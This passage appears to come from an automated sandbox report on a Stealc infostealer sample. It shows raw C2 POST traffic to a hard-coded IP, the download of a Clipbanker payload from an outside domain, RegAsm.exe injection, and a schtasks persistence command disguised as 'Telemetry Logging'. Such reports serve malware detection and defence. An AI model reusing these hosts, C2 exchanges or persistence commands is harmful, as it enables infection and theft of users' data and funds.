2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 2d 2d 0d 0a Data Ascii: ------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="message"files------DHCBAEHJJJKKFIDGHJEC--
Sep 10, 2024 19:36:11.539834976 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 10, 2024 19:36:11.588453054 CEST	203	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFBFHIEBKJKFHIEBFB Host: 45.152.113.10 Content-Length: 113375 Connection: Keep-Alive Cache-Control: no-cache
Sep 10, 2024 19:36:11.942914009 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 10, 2024 19:36:11.946733952 CEST	472	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJEBGDAFHIJJKEHCAA Host: 45.152.113.10 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 2d 2d 0d 0a Data Ascii: ------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="message"ybncbhylepme------EGIJEBGDAFHIJJKEHCAA--
Sep 10, 2024 19:36:12.078560114 CEST	267	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 64 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 48 4d 36 4c 79 39 6c 64 6d 39 72 5a 57 56 6b 5a 32 56 73 62 47 4d 75 59 32 39 74 4c 32 46 77 63 43 39 73 4d 69 35 6c 65 47 56 38 4d 48 77 77 66 46 4e 30 59 58 4a 30 66 44 42 38 Data Ascii: aHR0cHM6Ly9ldm9rZWVkZ2VsbGMuY29tL2FwcC9sMi5leGV8MHwwfFN0YXJ0fDB8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	45.152.113.10	80	6616	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 10, 2024 19:36:17.827090979 CEST	472	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBAKKFCBFHIIEBGIDBG Host: 45.152.113.10 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 2d 2d 0d 0a Data Ascii: ------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AFBAKKFCBFHIIEBGIDBG--
Sep 10, 2024 19:36:18.794851065 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	198.54.120.231	443	6616	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-10 17:36:13 UTC	77	OUT	GET /app/l2.exe HTTP/1.1 Host: evokeedgellc.com Cache-Control: no-cache
2024-09-10 17:36:13 UTC	290	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 content-type: application/x-msdownload last-modified: Sun, 01 Sep 2024 13:57:54 GMT accept-ranges: bytes content-length: 4563640 date: Tue, 10 Sep 2024 17:36:13 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close
2024-09-10 17:36:13 UTC	16094	IN	Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|E
2024-09-10 17:36:13 UTC	8482	IN	Data Raw: 86 51 d5 a7 c9 17 b7 e1 50 21 08 78 75 9d 83 7f c6 e4 fb 86 97 a3 43 8a 64 e7 fc df 63 c9 4d 0d 35 2e 7f 65 e0 df 61 9f 71 c0 62 42 6d 9b e1 6b 5f d4 3f 67 cc 4c fa 7b aa 78 db 83 6b 6f 0a c4 67 92 4c fe 27 8b 15 35 3e e9 24 fb 64 c7 50 e9 a6 bd c9 82 68 69 ab c6 a1 19 11 e2 42 f8 7b 32 45 c9 98 2d 41 f8 fe 0a 94 ac 32 89 2a b1 97 c9 62 52 b1 10 54 dd a4 8a 75 a7 8c cd 0b 65 30 6f 3a 9e 3f d8 8a 96 d0 8a dc 19 a8 28 3f cc e6 a0 55 5f 7e e4 ef ea a0 63 18 1d 8d 2c 5c 5f 33 ce 8b 49 a8 ab cd bf 02 f4 50 2e 31 56 fe 32 1c da 7e 40 28 e3 27 91 ab 50 75 30 21 35 06 01 73 43 08 12 51 c7 23 75 ea 26 f9 16 85 f1 5e a0 7f 2f 52 d7 55 b7 84 d5 5f 9c 59 3a 92 dd 7d c4 61 ad 35 58 ed b1 72 97 38 3c c2 fd d6 43 ff 90 f8 fb 42 94 f4 91 55 4c 5c b2 29 8a d5 ba 01 94 5e Data Ascii: QP!xuCdcM5.eaqbBmk_?gL{xkogL'5>$dPhiB{2E-A2*bRTue0o:?(?U_~c,\_3IP.1V2~@('Pu0!5sCQ#u&^/RU_Y:}a5Xr8<CBUL\)^
2024-09-10 17:36:13 UTC	16384	IN	Data Raw: 12 5f 55 10 d2 da 76 44 97 27 53 64 56 c8 03 99 95 78 d5 3d 30 53 ca ad 78 15 73 38 bf ed b6 bd 43 c4 03 71 52 51 e9 d9 eb 50 98 fe 43 31 96 ea b8 5e 34 97 91 19 7e c9 9c 03 09 87 96 e5 ce d8 14 f4 d3 09 cd 5f c2 82 42 ed c9 df be 66 26 be ea 9d d4 8e 54 de 61 be 5c a2 d8 d2 d9 2e 6d 13 ca 54 87 cf f5 21 18 29 3a e0 a6 49 2b 90 6f bb 26 67 3d e0 90 9c 56 53 b4 47 b7 8d ee 16 1e a6 35 45 9b eb 99 1d 91 84 60 86 7c 3a b7 43 9c 77 1d 8c 41 d8 ce 79 a1 5d 58 79 b3 56 77 32 35 5a 73 d1 cf 0f 9f 54 06 e9 16 95 03 32 ad 23 c5 11 0f ab e2 0c de 2e 39 d5 51 af eb a8 47 10 9c 87 7d 99 e4 f2 c1 ab 2f 87 09 fe 43 84 60 05 7b db 57 bd c6 e4 d7 35 7e 22 cd 24 e4 ec da fc 0e ed 31 d1 a5 8a b9 a3 34 83 b6 c1 4d 31 4f 6c b2 7c 8b db 8a 38 14 10 28 38 34 c9 68 30 62 7f 74 Data Ascii: _UvD'SdVx=0Sxs8CqRQPC1^4~_Bf&Ta\.mT!):I+o&g=VSG5E`\|:CwAy]XyVw25ZsT2#.9QG}/C`{W5~"$14M1Ol\|8(84h0bt
2024-09-10 17:36:13 UTC	16384	IN	Data Raw: 28 d9 5b 80 ae 7d 81 5e 76 9e ce e7 61 9e b9 3c ef 3a e4 e9 34 72 06 f1 fa 75 54 66 ed b0 5d b3 92 a9 86 50 65 75 77 f7 85 b8 84 04 22 2f 11 79 26 ca 62 5d 73 c4 97 a7 80 77 8c 22 62 57 e4 96 1c a6 c1 de f9 98 e4 4a 83 04 ee 4d 79 ff 09 fd 6c 8d a0 8e 79 e2 c0 16 ad ef f2 d1 d5 ec 69 07 7b 84 41 97 f8 24 87 76 18 3a aa d8 7c 4e f6 a2 74 0e 70 9f a1 19 e3 a2 96 0d e0 56 bd ed c4 52 17 6c 01 02 e8 b1 17 62 20 ff b0 b5 bc 7e c1 55 c8 15 2d 41 0b 03 55 2a b8 ae 10 a6 62 37 b1 82 13 9f f5 2f 5a e0 75 0e a0 00 55 7a 83 89 32 68 43 0e e3 d6 a8 34 9d 36 d1 aa 49 f1 6c 8d e6 d0 7d 29 e4 1a 0d 5e 95 9b 5b 01 98 b3 da f2 a9 09 07 3e 04 c7 09 11 d4 31 35 d1 32 ed fd e6 e9 81 a1 0e ed f6 5f 80 22 8f 20 5a ba f7 a0 90 b4 4b 56 d6 01 57 05 9b b8 f9 33 5d 4c 38 67 21 b8 Data Ascii: ([}^va<:4ruTf]Peuw"/y&b]sw"bWJMylyi{A$v:\|NtpVRlb ~U-AU*b7/ZuUz2hC46Il})^[>152_" ZKVW3]L8g!
2024-09-10 17:36:13 UTC	16384	IN	Data Raw: eb 74 b9 c0 b5 58 34 f9 8e af 09 b5 9c 52 c2 9d f3 de a7 eb cb 3f 13 47 9b fc 34 2f d7 23 04 23 48 d8 a3 84 c7 2d d1 b0 2b 0b 6d 07 70 74 c8 0a 89 5d b8 61 7c ec 7c 94 9f d1 99 50 d8 d7 0a 5b fe 98 f5 cb d8 51 f9 09 31 53 3b 76 35 12 58 47 2e 26 dd fe 8f 21 e5 fe 8d 5d 0f e3 db 00 4d 5c ce d0 b6 f5 95 c2 55 fa 48 53 4a 56 18 b6 9b 77 dc b9 56 0a 90 70 6f 43 c7 2f 03 fe 2c 63 6d 60 0e 91 a6 07 b9 74 b1 4c 71 9a 4c cc f2 2b 95 f0 c0 5b 8d 0c f5 4b 3c 1f 33 20 50 14 53 b3 43 29 0e dd 6b 99 53 79 76 9c 1d eb ff 53 4e 81 a4 3c 18 32 28 b0 05 15 f9 f4 e1 76 c7 ac 1d f9 5e c5 1c 6e f5 c8 3a 15 6f 96 0b 02 7b d4 e1 2a d4 43 25 af 29 76 af c9 86 3a a1 e9 38 da c2 40 3c 68 95 34 4e 37 42 27 82 d9 b7 2a 20 0f 8d ef 9c 72 b5 03 26 4d 54 e8 46 b2 75 7c ee 22 d4 e2 7d Data Ascii: tX4R?G4/##H-+mpt]a\|\|P[Q1S;v5XG.&!]M\UHSJVwVpoC/,cm`tLqL+[K<3 PSC)kSyvSN<2(v^n:o{C%)v:8@<h4N7B' r&MTFu\|"}
2024-09-10 17:36:13 UTC	16320	IN	Data Raw: 17 f0 ad 01 4e 29 1d 17 04 26 cf ce 3d 2f 73 a2 fe cb 71 9e 85 ce e9 1e 3c 7c 30 1d 1a 66 8c 39 89 4d e0 da 2e f7 3d 19 e5 81 22 8b df 5a d5 74 10 45 39 58 58 24 58 32 5b 14 15 32 27 8a c7 d4 d2 2b fc f9 5d ce 37 1c 1d fd ee ed 7e f8 c0 a6 8f 52 18 14 e1 b0 de 63 28 c0 76 1d d4 f0 cc 37 3c c5 99 6b e8 f5 bc 2f 75 f6 e6 5e b4 65 7b da 60 5b c4 ec eb 8c 2e 53 1f 2c 44 87 f6 34 2e 28 b4 e1 ea 92 78 47 3d 9d 33 d7 67 23 92 ed bb 92 35 34 37 3b e4 50 ac 17 62 1f e7 1b 8a 74 bc a5 df a3 1c c0 95 4e 03 d8 fb 1f 87 a6 e4 57 26 c6 25 3e 1a a5 35 0b 71 3c a5 d1 fe c2 24 84 cc b1 9f 37 a4 6d 17 ba 3b 57 a7 37 e8 20 c6 35 bc 34 31 43 1d 73 e9 53 fa 88 07 18 59 be bb e7 b8 e6 f0 21 40 ba 99 6c 8f b5 bb 94 22 61 c3 12 dc 0e 09 cc 4f b5 7a 35 45 9e d4 8b a0 72 71 04 35 Data Ascii: N)&=/sq<\|0f9M.="ZtE9XX$X2[2'+]7~Rc(v7<k/u^e{`[.S,D4.(xG=3g#547;PbtNW&%>5q<$7m;W7 541CsSY!@l"aOz5Erq5
2024-09-10 17:36:15 UTC	16384	IN	Data Raw: bb 8e e3 2c 22 e8 a7 db 58 58 48 3a fe 5d 89 68 c3 46 04 7a 39 77 f6 55 d7 16 68 ab 66 27 84 81 92 f8 7f 9b 39 4a 3b 29 14 1c d7 e6 f3 4b bb 9f 89 e5 c5 65 fd 67 dd 2b 95 d2 c8 64 ef 09 6a e9 f6 4d 6f 05 df c1 08 11 e1 3b 87 db 7d d4 e5 ab ce 1a 91 a9 42 53 40 2d 28 d7 41 06 b1 eb 13 cb 80 27 64 2b 0e bb 83 76 ea 02 7b 60 00 2c 76 85 74 6d 96 9a db 26 87 8d 9f 80 46 8a 4c a6 eb 25 ff 67 91 f7 98 f8 4f 9e b3 bf 8d f8 6b bb 82 4e e4 76 79 46 34 70 6b 5f b0 44 71 f4 04 54 7d a6 8c 9c 96 f1 7e cc b9 7a a7 69 38 6e 76 ac af 38 bd 4c 22 74 6c 74 a8 8c f8 bc ba 82 54 9c 81 58 50 1e 55 ec 41 8c ab b9 ae 1f a1 09 dc 77 1b 61 5d 1f 00 f3 c3 37 01 5b 11 49 65 34 89 02 66 33 66 b4 50 57 a6 1d 1e 0f 96 d8 ba f7 5a 4f e0 db e8 9b 79 6b 43 be 8f ef 2a 7e c6 12 d4 58 73 Data Ascii: ,"XXH:]hFz9wUhf'9J;)Keg+djMo;}BS@-(A'd+v{`,vtm&FL%gOkNvyF4pk_DqT}~zi8nv8L"tltTXPUAwa]7[Ie4f3fPWZOykC*~Xs
2024-09-10 17:36:15 UTC	16384	IN	Data Raw: 0f 4d 19 90 ab db 04 6e 71 e7 d1 59 56 93 34 c0 44 64 5c c2 88 b7 35 dd ab e7 50 58 7c 2b 1d 0e d7 ba b9 c1 96 3c a2 34 2b b0 7e 8c 72 34 f4 83 89 fa 09 eb 78 08 5a 1c ec 2f 19 ed db 85 c6 9d 5d 28 6d d7 b2 ea 7a 4b 8f eb 55 17 c6 0e af 26 41 30 1b f6 f4 76 06 f2 6d b6 4c 81 4f 6b 06 38 08 03 22 bb 61 43 07 ab f4 af 50 0b 7c ff cc f0 15 6b 9c ff 06 1f db c5 fb 4d 79 f8 dc 7d 2d 59 3c 1d 10 d9 11 91 eb 38 64 63 43 6b 11 88 4e b5 24 f9 c3 6a 12 4f 7d 6a ca 2d 4f 7a 2d 48 7f 07 b9 59 c2 c5 52 b6 d9 9f 09 96 3f c9 57 a0 c1 d3 b7 e1 f8 30 ea 5c 18 99 95 96 0c 85 85 57 13 d3 6b 5a 74 8a 7d 0d a1 f2 1a 19 6f e1 85 19 61 b0 cd 94 4b 90 a9 1f 77 97 83 09 55 e0 13 cc 70 20 97 cf 02 30 2b a7 62 d6 b5 c4 b2 98 35 1c 50 5e c6 46 cb fb d4 28 5e 3b 53 ce 0a 65 84 44 92 Data Ascii: MnqYV4Dd\5PX\|+<4+~r4xZ/](mzKU&A0vmLOk8"aCP\|kMy}-Y<8dcCkN$jO}j-Oz-HYR?W0\WkZt}oaKwUp 0+b5P^F(^;SeD
2024-09-10 17:36:15 UTC	16384	IN	Data Raw: 61 9f f7 6e d3 35 51 c1 38 de e6 15 c8 b4 4a e8 1f 86 e8 86 45 b7 a5 1c 9c f1 26 75 db a6 89 5f 7c 8d 6c 68 42 98 c9 0b 3e 0d bf 2c 28 f5 c8 8e b5 b0 1f d2 27 65 b7 00 d7 2c d0 1b 72 8a c1 ba cd b1 fd 05 36 40 15 49 25 25 cd 9f 74 1a 0f 0f a0 69 8b 0c d7 c4 f0 b2 bf e5 ca 55 9e 8b 92 42 40 f7 c7 66 d8 fc ab 31 54 ea c5 c6 a9 8a 2b 79 98 bb 7c b8 91 08 17 3f 01 79 36 f8 fe a3 6b 8e 11 cb a7 21 e3 e8 16 95 0d bb 34 2b db 2b 52 6e 6e e4 76 89 38 65 52 58 ef 8c e8 c1 43 ec c7 3e 39 7f 62 70 c1 1b 52 0d 95 7a 3e d6 1a a1 8b d2 c2 d8 a8 de 6a 06 1d 2a 23 ba 3d 4c ff ac a7 0c 1f c5 c4 89 78 db 3b f3 13 9f 70 e0 cb 08 49 bd ff 63 d2 94 2d 78 71 a6 bd 74 b6 f3 ed 45 50 db db d0 e2 5e a9 36 4b 7f ca b3 bd 7d 8f ec a8 61 8c ee 65 00 8b 51 23 c2 b2 95 f6 8e 3e 61 18 Data Ascii: an5Q8JE&u_\|lhB>,('e,r6@I%%tiUB@f1T+y\|?y6k!4++Rnnv8eRXC>9bpRz>j*#=Lx;pIc-xqtEP^6K}aeQ#>a
2024-09-10 17:36:15 UTC	16320	IN	Data Raw: ac 00 0b 0a 4f 44 99 9b ff 53 ca 0b d1 bd 76 89 b3 07 ba d3 f4 20 4f fa be 14 b5 e8 23 f2 41 36 c7 d3 da 67 ee 9f 00 9d 20 ef 7b a0 48 da 26 66 a3 1c f6 be 2c a8 28 56 18 4b 95 53 de 29 c6 00 35 db 84 86 94 83 65 2d c9 51 45 b7 83 22 be 82 6a e3 f1 2b 28 75 eb d9 ad 84 d1 a5 a0 03 9c 81 96 4b 06 40 b3 e8 4c 3a 9d fc d7 f1 6b e8 3a 32 87 3f c3 83 23 23 d8 90 c0 17 40 52 7e 12 f1 91 33 ac e0 e2 0e 5d 6d 64 54 83 99 ef fd 5f 9c f8 da 6a 0d 28 fd 9f 31 b4 f3 fa 1b d8 c7 e7 00 af 12 ae bf a8 f6 4d fc f1 21 f9 d4 23 e4 14 86 66 63 b4 10 7b 10 f5 b1 d3 49 bf 2b 56 ac 74 5c a3 f7 05 1c 0d 34 0c 39 07 fd b6 d4 72 cc f3 4a 18 04 b2 2c 88 1e 81 67 b8 b8 15 a7 27 b7 80 5a 9d 84 08 b8 b0 ea 46 d4 99 48 29 9e cd f3 6e 48 13 8d 24 ba fc b3 2f e1 cf 61 19 6d cc 5e 12 3e Data Ascii: ODSv O#A6g {H&f,(VKS)5e-QE"j+(uK@L:k:2?##@R~3]mdT_j(1M!#fc{I+Vt\49rJ,g'ZFH)nH$/am^>

Target ID:	0
Start time:	13:36:02
Start date:	10/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x950000
File size:	210'472 bytes
MD5 hash:	328E2076801E0D783636EAB1B2664845
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:36:02
Start date:	10/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:36:02
Start date:	10/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x390000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:36:02
Start date:	10/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x5f0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:36:02
Start date:	10/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x330000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:36:02
Start date:	10/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x540000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:36:02
Start date:	10/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf50000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000006.00000002.2195683776.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:36:16
Start date:	10/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\CAKKJKKECF.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:36:16
Start date:	10/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:36:16
Start date:	10/09/2024
Path:	C:\ProgramData\CAKKJKKECF.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\CAKKJKKECF.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000A.00000002.2197159707.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000A.00000002.2197159707.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 74%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:36:17
Start date:	10/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x210000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:36:17
Start date:	10/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:36:19
Start date:	10/09/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000E.00000002.4505261287.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000E.00000002.4505261287.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 74%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	13:36:20
Start date:	10/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x210000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:36:20
Start date:	10/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
